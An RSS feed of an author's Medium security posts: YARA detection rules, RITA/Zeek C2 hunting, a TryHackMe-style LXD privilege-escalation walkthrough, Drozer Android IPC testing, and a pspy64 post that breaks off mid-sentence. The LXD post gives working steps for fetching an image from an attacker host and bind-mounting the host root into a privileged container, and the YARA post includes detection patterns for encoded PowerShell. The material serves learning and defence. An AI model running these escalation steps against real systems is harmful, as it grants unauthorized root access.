<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sadineni Sai Sushanth on Medium]]></title>
        <description><![CDATA[Stories by Sadineni Sai Sushanth on Medium]]></description>
        <link>https://medium.com/@sushanth8787?source=rss-875bcb12b43b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*A-22T0SmMT1jJ5Wx</url>
            <title>Stories by Sadineni Sai Sushanth on Medium</title>
            <link>https://medium.com/@sushanth8787?source=rss-875bcb12b43b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 04:53:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sushanth8787/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[YARA in Practice]]></title>
            <link>https://medium.com/@sushanth8787/yara-in-practice-f84cfbca98c5?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f84cfbca98c5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[yara-rules]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Tue, 23 Dec 2025 08:17:36 GMT</pubDate>
            <atom:updated>2025-12-23T08:17:36.841Z</atom:updated>
            <content:encoded><![CDATA[<h3>Where YARA Fits</h3><p>YARA is a <strong>pattern-matching detection language</strong> used to identify malware by scanning files, memory, or disk artifacts for known indicators.<br> Instead of relying on filenames or hashes, YARA detects <strong>content, structure, and behavior patterns</strong>, making it highly effective against malware variants and obfuscation.</p><blockquote>YARA enables defenders to identify <strong>malicious files</strong> and <strong>in-memory artifacts</strong> by scanning file contents and running process memory for known patterns and behaviors</blockquote><h3>YARA Rule Structure (Core Components)</h3><p>Every YARA rule is built using <strong>three main sections</strong>:</p><h3>1. Meta (Optional but Critical)</h3><p>Provides context and maintainability.</p><pre>meta:<br>    author = &quot;Sushanth&quot;<br>    description = &quot;Detects Malware artifacts&quot;<br>    date = &quot;2025-12-23&quot;</pre><p>📌 <strong>Why meta matters</strong></p><ul><li>Helps teams understand <em>why</em> a rule exists</li><li>Essential when rule sets grow large</li><li>Useful for audits, sharing, and tuning detections</li></ul><h3>2. Strings (What YARA Looks For)</h3><p>Strings are the <strong>actual indicators</strong> YARA scans for.<br> They can be <strong>text</strong>, <strong>hexadecimal bytes</strong>, or <strong>regular expressions</strong>.</p><h3>Text Strings</h3><p>The most common type of YARA string.</p><pre>$s1 = &quot;Christmas&quot;</pre><p>By default:</p><ul><li>ASCII</li><li>Case-sensitive</li></ul><h3>Important String Modifiers</h3><h4>nocase – Case-insensitive matching</h4><pre>$s1 = &quot;Christmas&quot; nocase</pre><h4>wide and ascii – Unicode &amp; ASCII support</h4><pre>$s1 = &quot;Christmas&quot; wide ascii</pre><p>Useful for Windows binaries that store strings in UTF-16.</p><h4>xor – Detect XOR-obfuscated strings</h4><pre>$s1 = &quot;Malhare&quot; xor</pre><p>YARA tests all single-byte XOR variations automatically.</p><h4>base64 / base64wide – Encoded content detection</h4><pre>$s1 = &quot;SOC-mas&quot; base64</pre><p>Useful for PowerShell, loaders, and encoded payloads.</p><h3>Hexadecimal Strings (Binary-Level Detection)</h3><p>Used when malware doesn’t leave readable text.</p><pre>$mz = { 4D 5A }        // &quot;MZ&quot; PE header</pre><p>With wildcards:</p><pre>$hex = { 48 8B ?? ?? 48 89 }</pre><p>📌 Common use cases:</p><ul><li>PE headers</li><li>Shellcode</li><li>Binary loaders</li><li>Packed malware fragments</li></ul><h3>Regular Expression Strings (Flexible Matching)</h3><p>Used when indicators change but follow a pattern.</p><pre>$url = /http:\/\/.*malhare.*/ nocase</pre><p>Another example:</p><pre>$cmd = /powershell.*-enc\s+[A-Za-z0-9+/=]+/ nocase</pre><p>⚠️ Regex is powerful but expensive — avoid overly broad patterns.</p><h3>Conditions (When a Rule Triggers)</h3><p>The <strong>condition section is the decision engine</strong> of YARA.</p><h3>Match a Single String</h3><pre>condition:<br>    $s1</pre><h3>Match Any String</h3><pre>condition:<br>    any of them</pre><p>Triggers if <strong>any defined string matches</strong><br> Useful for <strong>early detection</strong></p><h3>Match All Strings</h3><pre>condition:<br>    all of them</pre><p>Reduces false positives<br> Useful for <strong>high-confidence detections</strong></p><h3>Logical Operators (Fine Control)</h3><pre>condition:<br>    ($s1 or $s2) and not $benign</pre><p>Meaning:</p><ul><li>Match suspicious indicators</li><li>Explicitly ignore known benign artifacts</li></ul><h3>File Property Checks</h3><p>YARA can evaluate file attributes.</p><pre>condition:<br>    any of them and filesize &lt; 700KB</pre><p>Common properties used:</p><ul><li>filesize</li><li>entrypoint</li><li>pe.number_of_sections</li></ul><h3>Practical Detection Example (Malware Loader)</h3><pre>rule Simple_MZ_Detect<br>{<br>    meta:<br>        author = &quot;Sushanth&quot;<br>        description = &quot;Trojan dropper detection&quot;<br>        confidence = &quot;low&quot;<br><br>    strings:<br>        $mz   = { 4D 5A }<br>        $hex1 = { 48 8B ?? ?? 48 89 }<br>        $s1   = &quot;malware&quot; nocase<br>    condition:<br>        all of them and filesize &lt; 10485760<br>}</pre><p>📌 Why this works:</p><ul><li>PE header confirms executable</li><li>Binary fragment increases confidence</li><li>Story IOC adds context</li><li>Size limit avoids large benign binaries</li></ul><h3>Running YARA (Operational Usage)</h3><p>Recursive scan:</p><pre>yara -r icedid_starter.yar C:\</pre><p>Show matched strings:</p><pre>yara -r -s icedid_starter.yar C:\</pre><p>Useful flags:</p><ul><li>-r → recursive scanning</li><li>-s → show matched strings</li><li>-w → suppress warnings</li></ul><h3>When Defenders Use YARA (Focused Use Cases)</h3><ul><li><strong>Post-incident sweeps</strong> across endpoints</li><li><strong>Threat hunting</strong> for malware families</li><li><strong>Memory analysis</strong> (process dumps, RAM images)</li><li><strong>IOC-based detection</strong> from threat intelligence</li><li><strong>Variant detection</strong> where hashes fail</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f84cfbca98c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Magic of RITA: Detecting C2 Traffic Using Zeek Logs]]></title>
            <link>https://medium.com/@sushanth8787/the-magic-of-rita-detecting-c2-traffic-using-zeek-logs-963648c8ffcd?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/963648c8ffcd</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[zeek]]></category>
            <category><![CDATA[pcap-analysis]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Mon, 22 Dec 2025 17:59:34 GMT</pubDate>
            <atom:updated>2025-12-22T17:59:34.466Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Modern malware rarely relies on obvious signatures. Instead, it communicates quietly with command-and-control (C2) servers using encrypted, low-and-slow, or covert techniques. Detecting this behavior requires <strong>behavioral analytics</strong>, not payload inspection.</p><p>This is where <strong>Real Intelligence Threat Analytics (RITA)</strong> shines.</p><p>RITA is an open-source framework developed by Active Countermeasures that detects <strong>command-and-control communication</strong> by analyzing <strong>network metadata</strong>, not packet contents. It works by applying statistical and behavioral analysis on <strong>Zeek</strong> logs.</p><h3>What Problem Does RITA Solve?</h3><p>Traditional tools struggle with:</p><ul><li>Encrypted traffic (HTTPS, TLS)</li><li>Domain-fluxing and fast-rotating infrastructure</li><li>Low-frequency beaconing</li><li>DNS tunneling</li></ul><p>RITA focuses on <strong>how traffic behaves</strong>, not <strong>what it contains</strong>.</p><h3>RITA Detects:</h3><ul><li>C2 beaconing patterns</li><li>DNS tunneling</li><li>Long-lived connections</li><li>Data exfiltration behavior</li><li>Rare or anomalous TLS characteristics</li><li>Suspicious infrastructure via threat-intel correlation</li></ul><h3>Why Zeek Is the Foundation</h3><p>RITA <strong>only accepts Zeek logs</strong>, not raw PCAPs.</p><p>Zeek is a <strong>Network Security Monitoring (NSM)</strong> tool that:</p><ul><li>Passively observes traffic</li><li>Extracts metadata (connections, DNS, HTTP, TLS, files)</li><li>Produces structured logs instead of alerts</li></ul><p>Unlike IDS/IPS, Zeek <strong>does not block or alert</strong> — it <strong>records everything cleanly</strong> for analysis.</p><p>Out of the four NSM data types, Zeek primarily covers:</p><ul><li><strong>Transaction data</strong> (conn.log, dns.log, http.log)</li><li><strong>Extracted content</strong> (files.log)</li></ul><p>This makes Zeek perfect for <strong>post-incident analysis and threat hunting</strong>.</p><h3>Step 1: Converting PCAP → Zeek Logs</h3><p>Zeek can parse packet captures directly and generate logs.</p><h3>Command:</h3><pre>zeek readpcap pcaps/sample.pcap zeek_logs/sample_output</pre><h3>Resulting Logs (example):</h3><ul><li>conn.log – connection metadata</li><li>dns.log – DNS queries and responses</li><li>http.log – HTTP requests</li><li>ssl.log / x509.log – TLS certificate info</li><li>files.log – extracted files</li></ul><p>💡 <strong>Key insight</strong>:<br> At this stage, we are <strong>structuring raw traffic into analyzable data</strong>.</p><h3>Step 2: Importing Zeek Logs into RITA</h3><p>Once logs are ready, RITA ingests and normalizes them.</p><h3>Command:</h3><pre>rita import --logs ~/zeek_logs/sample_output --database sample_db</pre><p>What happens internally:</p><ul><li>Zeek logs are parsed</li><li>Connections are correlated across protocols</li><li>Time-based and statistical features are calculated</li><li>Threat intel feeds are cross-referenced</li></ul><h3>Step 3: Exploring RITA Results</h3><h3>Command:</h3><pre>rita view sample_db</pre><p>This opens an <strong>interactive TUI dashboard</strong> with:</p><h3>1. Search Bar</h3><ul><li>/ to search</li><li>? for available filters</li><li>Filter by IP, domain, severity, beacon score</li></ul><h3>2. Results Pane</h3><p>Each row represents a <strong>suspicious connection pair</strong> and includes:</p><ul><li>Severity score</li><li>Source → Destination</li><li>Beacon likelihood</li><li>Connection duration</li><li>Subdomain count</li><li>Threat intel hits</li></ul><h3>3. Details Pane</h3><p>This is where the real intelligence lives.</p><h3>Understanding RITA’s Analytics (The “Magic”)</h3><p>RITA does <strong>not</strong> say “this is malware”.<br> It says <strong>“this behaves like malware”</strong>.</p><h3>Threat Modifiers (Key Signals)</h3><ul><li><strong>Periodic connection intervals</strong><br> → Strong indicator of C2 beaconing</li><li><strong>Rare signature</strong><br> → Uncommon TLS handshake or client fingerprint</li><li><strong>Long FQDN / Random subdomains</strong><br> → DNS tunneling or domain-generation behavior</li><li><strong>Low prevalence</strong><br> → Only one internal host talks to this external IP</li><li><strong>First Seen</strong><br> → Newly observed infrastructure</li><li><strong>Large outbound data</strong><br> → Possible data exfiltration</li><li><strong>Missing HTTP Host header</strong><br> → Common attacker mistake or non-browser traffic</li></ul><p>Each modifier contributes to the <strong>severity score</strong>, but <strong>analyst judgment still matters</strong>.</p><h3>Why Encrypted Traffic Is Not a Problem</h3><p>RITA does <strong>not decrypt traffic</strong>.</p><p>Instead, it analyzes:</p><ul><li>Timing patterns</li><li>Connection frequency</li><li>Session duration</li><li>Certificate lifetimes</li><li>Behavioral anomalies</li></ul><p>This makes it extremely effective against:</p><ul><li>HTTPS-based malware</li><li>TLS-wrapped C2 frameworks</li><li>Cloud-hosted attacker infrastructure</li></ul><h3>Practical Analyst Workflow</h3><ol><li>Detect suspicious connection via RITA</li><li>Validate against VirusTotal / Threat Intel</li><li>Pivot into Zeek logs for context</li><li>Correlate with host-based telemetry</li><li>Confirm infection or false positive</li></ol><p>RITA is a <strong>threat hunting accelerator</strong>, not an alerting tool.</p><p>Thanks for reading, hope you learnt something new. Happy learning!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=963648c8ffcd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lxd for privilege escalation]]></title>
            <link>https://medium.com/@sushanth8787/lxd-for-privilege-escalation-b1ccfd3c2523?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1ccfd3c2523</guid>
            <category><![CDATA[linux-containers]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[lxd]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Thu, 09 Oct 2025 17:10:52 GMT</pubDate>
            <atom:updated>2025-10-09T17:10:52.425Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Short conceptual summary</blockquote><ul><li>LXD is a <strong>privileged daemon</strong> (runs as root). users in the local lxd group can talk to that daemon and <em>ask it to do things</em> (create containers, add devices, mount paths, import images). Because the daemon runs as root, whatever it does on the host is executed with host privileges.</li><li>A <strong>container is not a VM</strong> — it shares the host kernel but has isolated views (namespaces). A <em>bind mount</em> is not a copy of files — it makes the <em>same</em> host files visible inside the container. If the container is <strong>privileged</strong> (no UID remapping), root inside the container is the same UID 0 as host root. That means changes made to a bind-mounted path inside the container change the host files.</li></ul><h3>Key low-level points</h3><ol><li><strong>“Is the host filesystem copied into the container?”</strong><br> No — when you <em>bind mount</em> the host / (or any host directory) into the container, you expose the <em>same</em> underlying filesystem inside the container at some path (e.g. /host). There is no duplication. If you edit /host/etc/sudoers inside the container you are editing the real /etc/sudoers on the host. This is why bind mounts are powerful and dangerous. <a href="https://askubuntu.com/questions/691039/adding-a-shared-host-directory-to-an-lxc-lxd-container?utm_source=chatgpt.com">Ask Ubuntu</a></li><li><strong>“Why does root inside container map to host root?”</strong><br> By default a privileged container runs without user namespace UID remapping. In that case UID 0 inside the container equals UID 0 on the host. An <em>unprivileged</em> container remaps container UIDs (e.g., container root maps to some high-number host UID like 100000), which prevents straight root-on-host writes. Whether a container is privileged depends on how LXD creates it (security.privileged=true disables remapping). <a href="https://documentation.ubuntu.com/server/how-to/containers/lxd-containers/?utm_source=chatgpt.com">Ubuntu Documentation</a></li><li><strong>“How can the daemon read host files?”</strong><br> The daemon <em>performs</em> the mount on the host. When you tell the daemon to add a disk device with source=/ it executes a bind mount on the host namespace that makes / visible inside the container. The LXD daemon does the privileged mounting — you don’t need kernel exploits. Because the daemon runs as root, the mount operation happens with host privileges. <a href="https://documentation.ubuntu.com/server/how-to/containers/lxd-containers/?utm_source=chatgpt.com">Ubuntu Documentation</a></li><li><strong>“What is Alpine builder and why use it?”</strong><br> lxd-alpine-builder or similar tools create a small LXD-compatible image (an Alpine rootfs packaged the way LXD expects). On an internet-restricted machine, you can’t lxc launch images:ubuntu/... so you build or pack an image locally and lxc image import it into the local LXD image store. Then you lxc init/lxc start that image to create a container. This is how CTFers get a usable container offline to run the v1 mount trick.</li></ol><h3>Why LXD Can Lead to Privilege Escalation</h3><p>You’re correct that <strong>LXD is a privileged daemon</strong>.</p><ul><li>It runs as <strong>root</strong> on the host.</li><li>It allows <strong>non-root users</strong> who are members of the lxd group to control it.</li></ul><p>So, if you’re part of the lxd group (as you are, since id shows 108(lxd)), then you can talk directly to this root-running daemon.<br> You don’t directly become root, but the daemon will <strong>perform privileged actions for you</strong> (like creating privileged containers, mounting host directories, etc.).</p><p>That’s the core vulnerability.</p><h3>2. Concept of “Privileged Container” and UID Mapping</h3><p>You got this almost perfectly.</p><p>Let’s clarify the fine detail:</p><ul><li>Normally, when you create a container, LXD uses <strong>user namespaces</strong> to remap IDs:</li><li>Container’s root (UID 0) → maps to an <strong>unprivileged UID</strong> on the host (like 100000).</li><li>This makes the container <strong>safe</strong>, because “root inside the container” is <em>not</em> root on the host.</li><li>However, when you set: security.privileged = true then <strong>LXD disables UID mapping</strong>.</li><li>So: Container UID 0 == Host UID 0</li><li>Meaning, if you’re root inside the container, you’re effectively root on the host for any resource that’s bind-mounted from the host.</li></ul><h3>3. Your Big Doubt — “How do I become UID 0 inside the container?”</h3><p>Excellent question.</p><p>When you create a container (like with lxc init or lxc launch), you can <strong>automatically log into it as root</strong> because containers <em>start with root by default</em>.<br> LXD assumes you’re the container’s administrator.</p><p>So:</p><ul><li>You (john) tell LXD daemon (which runs as root) → “create me a container”</li><li>The daemon says “okay” and spawns the container as <strong>root</strong></li><li>When you do lxc exec &lt;container&gt; /bin/bash, you drop into the container as <strong>root (UID 0)</strong>.</li></ul><p>So, no further escalation <em>inside</em> the container is needed.</p><h3>4. Bind Mount — Why It Lets You Touch the Host Files</h3><p>You understood this perfectly:</p><blockquote><em>A bind mount allows part of the host’s filesystem to be </em>directly accessible<em> inside the container.</em></blockquote><p>You’re not copying the files — you’re just linking them.</p><p>Example:</p><pre>lxc config device add &lt;container&gt; myroot disk source=/ path=/mnt/root recursive=true</pre><p>This says:</p><blockquote><em>“Mount the host’s </em><em>/ directory into the container at </em><em>/mnt/root.”</em></blockquote><p>Now, from <em>inside</em> the container, you can:</p><pre>cd /mnt/root/root<br>cat root.txt</pre><p>And because your container is <strong>privileged</strong>, the container’s root user == host’s root user — so you can read/write those files as if you were root on the host.</p><h3>5. What If There Are Already Containers on the System?</h3><p>Good question again.</p><p>If the existing containers were created <strong>unprivileged</strong> (default behavior), you can’t use them directly to access host files — they have UID mappings that isolate them.</p><p>But, since <strong>you’re part of the </strong><strong>lxd group</strong>, you can:</p><ul><li>Inspect them (lxc list, lxc config show &lt;container&gt;)</li><li>And even <strong>modify their configuration</strong> using privileged LXD commands.</li></ul><p>So, if allowed, you could change one of them to privileged:</p><pre>lxc config set &lt;container&gt; security.privileged true</pre><p>and then add a disk:</p><pre>lxc config device add &lt;container&gt; myroot disk source=/ path=/mnt/root recursive=true</pre><p>If the host doesn’t restrict that, you can still escalate.</p><p>So yes — sometimes you can use existing containers, sometimes not.</p><h3>6. The Alpine Builder — What It Actually Is</h3><p>Now to the <strong>Alpine Builder</strong> (the one used in TryHackMe)it belongs to the <strong>“import or use attacker-controlled image”</strong> method.</p><p><strong>Why it’s needed:</strong></p><p>Your victim machine probably <strong>does not have internet access</strong>, so you can’t just lxc launch ubuntu:20.04 or similar — it can’t fetch images from Canonical’s servers.</p><p>So, what you do is:</p><ul><li>On your <strong>attacker machine</strong> (like your Kali or local box), you create a small LXD image (often based on <strong>Alpine Linux</strong> because it’s lightweight and simple).</li><li>Then you <strong>export</strong> that image as a .tar.gz and transfer it to the victim.</li><li>On the victim, you <strong>import</strong> it manually into LXD’s local image store using:</li><li>lxc image import alpine-builder.tar.gz --alias myimage</li><li>Then you launch it:</li><li>lxc init myimage mycontainer -c security.privileged=true</li></ul><p>Now, you have your own container running as root (UID 0), completely under your control.</p><p>You then do:</p><pre>lxc config device add mycontainer myroot disk source=/ path=/mnt/root recursive=true<br>lxc start mycontainer<br>lxc exec mycontainer /bin/sh</pre><h3>On Attacker (your local box)</h3><pre>git clone https://github.com/saghul/lxd-alpine-builder<br>cd lxd-alpine-builder<br>./build-alpine</pre><p>It creates a file like:</p><pre>alpine-v3.12-x86_64-20201010_1234.tar.gz</pre><h3>Step 2: Transfer it to Victim (using scp, python http, etc.)</h3><p>On attacker:</p><pre>python3 -m http.server 8080</pre><p>On victim:</p><pre>wget http://&lt;attacker-ip&gt;:8080/alpine-v3.12-x86_64-20201010_1234.tar.gz</pre><h3>Step 3: Import &amp; Launch Container</h3><pre>lxc image import ./alpine-v3.12-x86_64-20201010_1234.tar.gz --alias myalpine</pre><h3>Why It’s Dangerous</h3><p>This is why modern hardening guides always say:</p><blockquote><em>“Never add non-root users to the </em><em>lxd group. It’s equivalent to giving them root access.”</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1ccfd3c2523" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identifying attack surfaces using drozer , understanding IPC and components in Android]]></title>
            <link>https://medium.com/@sushanth8787/identifying-attack-surfaces-using-drozer-understanding-ipc-and-components-in-android-efffe96e0aa4?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/efffe96e0aa4</guid>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[drozer]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Thu, 09 Oct 2025 09:17:30 GMT</pubDate>
            <atom:updated>2025-10-09T09:17:30.078Z</atom:updated>
            <content:encoded><![CDATA[<h3>Identifying attack surfaces using drozer , understanding IPC and components in Android</h3><h3>What Drozer really is</h3><p><strong>Drozer</strong> is a <strong>security testing framework for Android apps</strong>.<br> It helps you <strong>find</strong> and <strong>exploit</strong> vulnerabilities caused by <strong>exported components</strong> and <strong>insecure IPC mechanisms</strong> (like Activities, Services, BroadcastReceivers, and ContentProviders).</p><p>It’s made by <strong>MWR InfoSecurity</strong> (now part of F-Secure).</p><p>Think of it as <strong>Metasploit for Android apps</strong> — instead of network ports, it scans Android <em>components</em>.</p><h3>⚙️ How Drozer works (simple view)</h3><ol><li><strong>Drozer Agent (APK)</strong> runs on the target Android device — acts like a “client” that talks to your PC.</li><li><strong>Drozer Console (on your PC)</strong> connects to the agent and lets you run Drozer commands.</li></ol><ul><li>You can connect using adb forward tcp:31415 tcp:31415.</li></ul><p>So when you run Drozer commands on your PC, they actually execute <em>inside</em> the phone through the Drozer agent.</p><h3>1) Two different meanings of “IPC” — they’re related but not identical</h3><ul><li><strong>IPC in OS theory (what you learned in class)</strong> — general idea: two programs/processes exchanging data (shared memory, pipes, sockets, message queues).<br> <em>Analogy:</em> two workers passing a note on a shared table.</li><li><strong>IPC in Android</strong> — still “processes talking to each other”, but the mechanisms and APIs are Android-specific (Intents, Binder/AIDL, ContentProviders). These are <em>higher-level</em> and Android-aware ways apps communicate (not just raw shared memory).<br> <em>Analogy:</em> instead of leaving notes on a table, Android gives apps a phone, a mailbox, and a secure courier service — each for different types of messages.</li><li><strong>SMB </strong><strong>IPC$ (Windows)</strong> — a completely different thing: a named pipe share used for administrative remote procedures on Windows. Same letters “IPC” (Inter-Process Communication) but not the same system or APIs as Android IPC.<br> <em>Bottom line:</em> they share the concept (processes talk) but are different technologies in different OS ecosystems.</li></ul><h3>2) What are components in an Android app? (very simple)</h3><p>An Android app is built from modular <strong>components</strong> — think of them as rooms inside an app-house. The main types:</p><ul><li><strong>Activity</strong> = a room with a screen (UI).</li><li><strong>Service</strong> = a background worker (like a kitchen doing tasks off-screen).</li><li><strong>BroadcastReceiver</strong> = a doorman who listens for announcements (system or app broadcasts).</li><li><strong>ContentProvider</strong> = a safe / filing cabinet that stores and shares structured data (like contacts or notes).</li></ul><p>Each of these is defined in the app’s <strong>AndroidManifest.xml</strong>.</p><h3>3) What does exported mean? (simple analogy + definition)</h3><p>Analogy: each room (component) has a door.</p><ul><li><strong>Exported = door unlocked</strong> → other apps (strangers) can walk in and interact with that room.</li><li><strong>Not exported = door locked</strong> → only the app itself (family members) can use it.</li></ul><p>So:</p><ul><li>exported=&quot;true&quot; or having an intent-filter → <strong>other apps can call/use it</strong>.</li><li>exported=&quot;false&quot; → only app itself or system can access it.</li></ul><p>If a room contains something sensitive (like a safe), leaving the door unlocked is risky.</p><h3>4) What is vulnerable IPC in plain words?</h3><ul><li><strong>Vulnerable IPC</strong> = an exposed interface (an unlocked door) that accepts requests from other apps without checking who’s calling or validating what they send.</li><li>That lets a malicious app pretend to be a friend and tell the component to do something dangerous (reset password, leak data, run privileged code).</li></ul><p>Concrete <em>short</em> examples:</p><ul><li>An exported Activity that reads new_password from the Intent and resets the account without checking — attacker sends an Intent and changes your password.</li><li>A ContentProvider exported to everyone that returns sensitive user data without requiring permission.</li><li>A Service with AIDL methods that any app can call to perform privileged actions.</li></ul><h3>5) Small manifest examples (insecure vs secure) — copy to notes</h3><p><strong>Insecure (exported, risky)</strong></p><pre>&lt;!-- Dangerous: any app can start this activity --&gt;<br>&lt;activity android:name=&quot;.ResetPasswordActivity&quot; android:exported=&quot;true&quot; /&gt;</pre><p><strong>Safer (not exported)</strong></p><pre>&lt;!-- Safe: only app itself can start it --&gt;<br>&lt;activity android:name=&quot;.ResetPasswordActivity&quot; android:exported=&quot;false&quot; /&gt;</pre><p><strong>Better (require a permission)</strong></p><pre>&lt;activity android:name=&quot;.SensitiveActivity&quot;<br>          android:exported=&quot;true&quot;<br>          android:permission=&quot;com.example.MY_SECURE&quot; /&gt;</pre><p>(Only callers holding that permission can start it.)</p><h3>6) Short checklists you can paste into your notebook</h3><p><strong>Flashcard: “Exported component”</strong><br> “An exported component is an Activity/Service/Receiver/Provider that other apps can invoke — like an unlocked door into the app.”</p><p><strong>Flashcard: “Android IPC”</strong><br> “Android IPC = Intents (messages), Binder/AIDL (remote method calls), ContentProviders (shared data). It’s how apps talk safely or dangerously.”</p><p><strong>Flashcard: “Vulnerable IPC”</strong><br> “When an exported component accepts calls/data without verifying the caller or input, allowing other apps to trigger sensitive actions or access data.”</p><h3>🕵️‍♂️ What Drozer can do</h3><h3>1. Discover exported components</h3><p>Just like nmap finds open ports, Drozer finds open (exported) components.</p><p>Example:</p><pre>run app.activity.info -a com.example.vulnerableapp</pre><p>This lists all Activities, telling you which are exported=true.</p><p>Same for:</p><pre>run app.service.info -a com.example.vulnerableapp<br>run app.broadcast.info -a com.example.vulnerableapp<br>run app.provider.info -a com.example.vulnerableapp</pre><p>➡️ <em>Purpose:</em> Identify attack surfaces — Activities, Services, BroadcastReceivers, ContentProviders that are “open doors”.</p><h3>2. Test and exploit IPC weaknesses</h3><p>Once it finds “open doors,” Drozer can <em>walk through them.</em></p><h4>Example 1 — Start an exported Activity</h4><pre>run app.activity.start --component com.example.vulnerableapp com.example.vulnerableapp.ResetPasswordActivity</pre><p>If the app doesn’t verify who’s calling, you just forced it to run something privileged.</p><h4>Example 2 — Interact with an exported Service</h4><pre>run app.service.send --action com.example.vulnerable.ACTION</pre><p>You’re sending an Intent (IPC message) directly — like a fake app would.</p><h4>Example 3 — Read from a ContentProvider</h4><pre>run app.provider.query content://com.example.vulnerableapp.data/</pre><p>If the provider is exported without permission checks, you can see private user data (like notes, messages, etc.).</p><h4>Example 4 — BroadcastReceiver exploitation</h4><pre>run app.broadcast.send --action com.example.vulnerable.BROADCAST</pre><p>If the app listens for that broadcast and performs privileged actions, you can abuse it.</p><h3>🧠 Summary Notes (short and clean)</h3><p><strong>Tool:</strong> Drozer<br> <strong>Purpose:</strong> Test Android apps for vulnerabilities in exported components and IPC mechanisms.<br> <strong>Key Concept:</strong> Finds “open doors” (exported components) and checks if they can be abused by other apps.<br> <strong>Common Tests:</strong></p><ul><li>run app.activity.info → List exported activities</li><li>run app.provider.query → Try to read exported ContentProviders</li><li>run app.broadcast.send → Send fake broadcasts</li><li>run app.service.send → Send Intents to services</li></ul><p><strong>Impact:</strong></p><ul><li>Unauthorized access to private data (via ContentProviders)</li><li>Unintended actions (reset password, delete files, etc.)</li><li>Privilege escalation (do actions on behalf of the vulnerable app)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=efffe96e0aa4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Ephemeral Processes on Linux — Startup (THM Walkthrough)]]></title>
            <link>https://medium.com/@sushanth8787/hunting-ephemeral-processes-on-linux-startup-thm-walkthrough-7509ac74b4f3?source=rss-875bcb12b43b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7509ac74b4f3</guid>
            <category><![CDATA[operating-system-process]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[pspy]]></category>
            <dc:creator><![CDATA[Sadineni Sai Sushanth]]></dc:creator>
            <pubDate>Sat, 04 Oct 2025 16:47:28 GMT</pubDate>
            <atom:updated>2025-10-04T16:47:28.291Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hunting Ephemeral Processes on Linux — Startup (THM Walkthrough)</h3><h3><strong>pspy64 — what it is and what problem it solves</strong></h3><p><strong>pspy64</strong> is a lightweight, non-privileged <em>process monitor</em> designed to detect and log short-lived processes, cron-like scheduled runs, and other transient activity on Linux systems. It’s extremely useful in CTFs and red-team work when something is being executed briefly by root (or another user) and you can’t otherwise see the trigger with ps, systemctl or cron listings.</p><p><strong>Why it exists:</strong> many systems run small scheduled tasks (scripts, scanners, health checks) in a way that launches a process for a few seconds and then exits. Traditional tools that show a snapshot of running processes (ps, top, htop) will generally <em>miss</em> these short-lived processes unless you are looking at the exact instant they run. pspy64 watches continuously and prints entries when it sees new processes or interesting events, so you can catch those ephemeral executions.</p><h3>How pspy64 works (high level)</h3><ul><li>It periodically scans /proc and inspects processes and their command lines, timestamps, and parent relationships.</li><li>When it detects a <em>new</em> process (one that wasn’t present in the previous scan) it logs a CMD: line with UID/PID/PPID and the exact command that was executed.</li><li>It also prints helpful lines for cron-like invoked jobs and shows file execution attempts or recently modified files in watched paths.</li><li>It runs without root (no installation needed) and therefore is safe to run on boxes where you only have a user shell.</li></ul><p>Because it continuously polls and prints events, it will show processes that live for a fraction of a second — the exact category of processes regular ps and top miss.</p><p><strong>Bottom line:</strong> ephemeral processes (processes that <strong>start and terminate very quickly</strong>) are hard to find with static tools; you need a continuous watcher (pspy64) or kernel-level auditing (auditd) to capture them 